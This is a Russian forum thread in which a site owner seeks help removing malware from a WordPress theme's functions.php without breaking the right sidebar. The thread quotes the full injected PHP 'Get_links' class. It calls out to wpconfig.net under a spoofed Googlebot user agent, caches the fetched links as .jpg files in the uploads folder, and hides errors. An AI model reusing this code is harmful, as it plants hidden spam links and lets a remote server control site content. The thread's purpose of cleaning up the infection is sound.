Помогите, пожалуйста, удалить вредоносный код с сайта ВП

12
H
На сайте с 01.04.2014
Offline
571
Had
1999

Имеется сайт на ВордПресс с одной колонкой справа (правый сайдбар). В конце файла функционс.пхп есть следующий код:

}
if ( function_exists( 'register_nav_menus' ) ) {
register_nav_menus(
array(
'menu_1' => 'Menu 1',
'menu_2' => 'Menu 2'
)
);
}
// new code for image uploads
function my_js() { ?>
<script type="text/javascript" language="javascript">
jQuery(document).ready(function() {
var formfield;
jQuery('#upload_image_button').click(function() {
formfield = jQuery('#upload_image').attr('name');
tb_show('', 'media-upload.php?type=image&amp;TB_iframe=true');
return false;
});
window.original_send_to_editor = window.send_to_editor;
window.send_to_editor = function(html) {

if (formfield) {
imgurl = jQuery(html).attr('href');
jQuery('#upload_image').val(imgurl);
tb_remove();
formfield = '';
} else {
window.original_send_to_editor(html);
}
};
});
</script>
<?php }
function my_admin_scripts() {
wp_enqueue_script('media-upload');
wp_enqueue_script('thickbox');
add_action('admin_head', 'my_js');
}
function my_admin_styles() {
wp_enqueue_style('thickbox');
}
if (is_admin()) {
add_action('admin_print_scripts', 'my_admin_scripts');
add_action('admin_print_styles', 'my_admin_styles');
}
?>
<?php
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
class Get_links {
var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}
function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2012/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}

?>

Если удалять то, что выделил жирным, с сайтом происходит следующее:

1. Главная страница - всё нормально.

2. В рубриках пропадает правый сайдбар целиком.

3. В статьях пропадает правый сайдбар целиком.

Помогите, пожалуйста, убрать вредоносный код без потерь сайбара.

кот Бегемот
На сайте с 07.12.2009
Offline
278
#1

А не проще взять аналогичный файл с другого чистого ворпресса?

Яндекс Директ, Гугд адворс, не дорого и ответственно. Телеграмм @H_Ilin
H
На сайте с 01.04.2014
Offline
571
Had
#2
garik77:
А не проще взять аналогичный файл с другого чистого ворпресса?

Пробовал с двух других своих сайтов. Версия ВП таже. Не получилось. Правда те 2 трёхколоночные сайты, а этот двух. То есть там 2 сайдбара левый и правый.

Samail
На сайте с 10.05.2007
Offline
361
#3
Had:
<?php
error_reporting('^ E_ALL ^ E_NOTICE');

Похоже на то что вот с этого вредоносный код начинается, а то что выше нужно.

H
На сайте с 01.04.2014
Offline
571
Had
#4
Samail:
Похоже на то что вот с этого вредоносный код начинается, а то что выше нужно.

Гуглил много перед тем как создать тему, пытался сам починить, видел это. Удалял и от этого места всё ниже. Всё равно пропадает правый сайдбар.

S
На сайте с 30.09.2016
Offline
469
#5

Ну так смотрите код, которым выводится сайдбар, - чего ему там не хватает. И этот самый код, который вредоносный - с Ваших слов, сам не особо понимаю его назначение, бестолковый он какой-то, - он ведь сам собой не запустится, где-то механизм запуска должен быть.

Отпилю лишнее, прикручу нужное, выправлю кривое. Вытравлю вредителей.
H
На сайте с 01.04.2014
Offline
571
Had
#6
Sitealert:
Ну так смотрите код, которым выводится сайдбар, - чего ему там не хватает.

Ещё бы понимать какой код выводит сайдбар.

Sitealert:
где-то механизм запуска должен быть.

Был, целый файл, я его удалил как создал сайт.

S
На сайте с 30.09.2016
Offline
469
#7
Had:
Ещё бы понимать какой код выводит сайдбар.

В файлах темы надо искать.

H
На сайте с 01.04.2014
Offline
571
Had
#8

Прочитал весь код выделенный жирным. Мало чего понял, но понял, что он весь вредносный (выделенная жирным часть).

На двух других моих сайтах файл функционс.пхп заканчивается так:

}
if ( function_exists( 'register_nav_menus' ) ) {
register_nav_menus(
array(
'menu_1' => 'Menu 1',
'menu_2' => 'Menu 2'
)
);
}
<?php



---------- Добавлено 04.03.2017 в 22:36 ----------

Sitealert:
В файлах темы надо искать.

Насколько я понимаю этот кусок вируса переплетён с кодом сайдбара. Надо удалить все этот код кроме той части которая отвечает за сайдбар.

---------- Добавлено 04.03.2017 в 22:40 ----------

Sitealert:
В файлах темы надо искать.

Есть отдельный файл сайдбара. Вот весь код:

<div class="sidecont rightsector">
<div class="sidebar">
<?php if(get_theme_option('socialnetworks') != '') {
?>
<div class="addthis_toolbox">
<div class="custom_images">
<a rel="nofollow" class="addthis_button_twitter"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/twitter.png" width="32" height="32" alt="Twitter" /></a>
<a rel="nofollow" class="addthis_button_delicious"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/delicious.png" width="32" height="32" alt="Delicious" /></a>
<a rel="nofollow" class="addthis_button_facebook"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/facebook.png" width="32" height="32" alt="Facebook" /></a>
<a rel="nofollow" class="addthis_button_digg"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/digg.png" width="32" height="32" alt="Digg" /></a>
<a rel="nofollow" class="addthis_button_stumbleupon"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/stumbleupon.png" width="32" height="32" alt="Stumbleupon" /></a>
<a rel="nofollow" class="addthis_button_favorites"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/favorites.png" width="32" height="32" alt="Favorites" /></a>
<a rel="nofollow" class="addthis_button_more"><img src="<?php bloginfo('template_directory'); ?>/images/socialicons/more.png" width="32" height="32" alt="More" /></a>
</div>

<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=xa-4a65e1d93cd75e94"></script>
</div> <?php
}
?>
<?php if(get_theme_option('video') != '') {
?>
<div class="sidebarvideo">
<ul> <li><h2 style="margin-bottom: 7px;">Популярное видео</h2>
<object width="284" height="240"><param name="movie" value="http://www.youtube.com/v/<?php echo get_theme_option('video'); ?>&hl=en&fs=1&rel=0&border=1"></param>
<param name="allowFullScreen" value="true"></param>
<param name="allowscriptaccess" value="always"></param>
<embed src="http://www.youtube.com/v/<?php echo get_theme_option('video'); ?>&hl=en&fs=1&rel=0&border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="284" height="240"></embed>
</object>
</li>
</ul>
</div>
<?php
}
?>
<ul>
<?php
if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>
<li><h2><?php _e('Недавние записи'); ?></h2>
<ul>
<?php wp_get_archives('type=postbypost&limit=5'); ?>
</ul>
</li>
<li><h2>Архивы</h2>
<ul>
<?php wp_get_archives('type=monthly'); ?>
</ul>
</li>
<li>
<h2>Календарь</h2>
<?php get_calendar(); ?>
</li>
<?php wp_list_categories('hide_empty=0&show_count=1&depth=1&title_li=<h2>Рубрики</h2>'); ?>
<li id="tag_cloud"><h2>Теги</h2>
<?php wp_tag_cloud('largest=16&format=flat&number=20'); ?>
</li>
<?php include (TEMPLATEPATH . '/recent-comments.php'); ?>
<?php if (function_exists('get_recent_comments')) { get_recent_comments(); } ?>
<?php endif; ?>
</ul>
</div>
</div>

Я так понимаю выделенное жирным тоже можно грохнуть, лишнее и походу к нашей проблеме не относится. Файл называется сайдбар.пхп.

---------- Добавлено 04.03.2017 в 22:43 ----------

Удалил лишнее, теперь стало так:

<div class="sidecont rightsector">
<div class="sidebar">
<?php if(get_theme_option('socialnetworks') != '') {
?>
<div class="addthis_toolbox">
<div class="custom_images">
</div>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=xa-4a65e1d93cd75e94"></script>
</div> <?php
}
?>
<?php if(get_theme_option('video') != '') {
?>
<div class="sidebarvideo">
<ul> <li><h2 style="margin-bottom: 7px;">Популярное видео</h2>
<object width="284" height="240"><param name="movie" value="http://www.youtube.com/v/<?php echo get_theme_option('video'); ?>&hl=en&fs=1&rel=0&border=1"></param>
<param name="allowFullScreen" value="true"></param>
<param name="allowscriptaccess" value="always"></param>
<embed src="http://www.youtube.com/v/<?php echo get_theme_option('video'); ?>&hl=en&fs=1&rel=0&border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="284" height="240"></embed>
</object>
</li>
</ul>
</div>
<?php
}
?>
<ul>
<?php
if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>
<li><h2><?php _e('Недавние записи'); ?></h2>
<ul>
<?php wp_get_archives('type=postbypost&limit=5'); ?>
</ul>
</li>
<li><h2>Архивы</h2>
<ul>
<?php wp_get_archives('type=monthly'); ?>
</ul>
</li>
<li>
<h2>Календарь</h2>
<?php get_calendar(); ?>
</li>
<?php wp_list_categories('hide_empty=0&show_count=1&depth=1&title_li=<h2>Рубрики</h2>'); ?>
<li id="tag_cloud"><h2>Теги</h2>
<?php wp_tag_cloud('largest=16&format=flat&number=20'); ?>
</li>
<?php include (TEMPLATEPATH . '/recent-comments.php'); ?>
<?php if (function_exists('get_recent_comments')) { get_recent_comments(); } ?>
<?php endif; ?>
</ul>
</div>
</div>
L
На сайте с 16.10.2010
Offline
105
#9

Название темы можешь скинуть? И откуда качал?

---------- Добавлено 04.03.2017 в 22:14 ----------

О, об этом добре навалом тем.

https://www.google.com.ua/search?q=var+%24host+%3D+%27wpconfig.net%27%3B+var+%24path+%3D+%27%2Fsystem.php%27%3B&oq=var+%24host+%3D+%27wpconfig.net%27%3B+var+%24path+%3D+%27%2Fsystem.php%27%3B&aqs=chrome..69i57.1397j0j4&sourceid=chrome-mobile&ie=UTF-8

H
На сайте с 01.04.2014
Offline
571
Had
#10
longin:
Название темы можешь скинуть? И откуда качал?

Могу.

themes/PurpleBlog

Откуда качал не помню, возможно отсюда http://bestskins.ru/wordpress-purple-blog/ или отсюда http://wp-templates.ru/?s=PurpleBlog давно дело было. Они почти все эти бесплатные шаблоны на всех сайтах с подобными вирусами. Я уже и так вагон ссылок почистил из шаблона.

ЕМНИП с этого сайта всё таки брал шаблон http://wp-templates.ru/

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий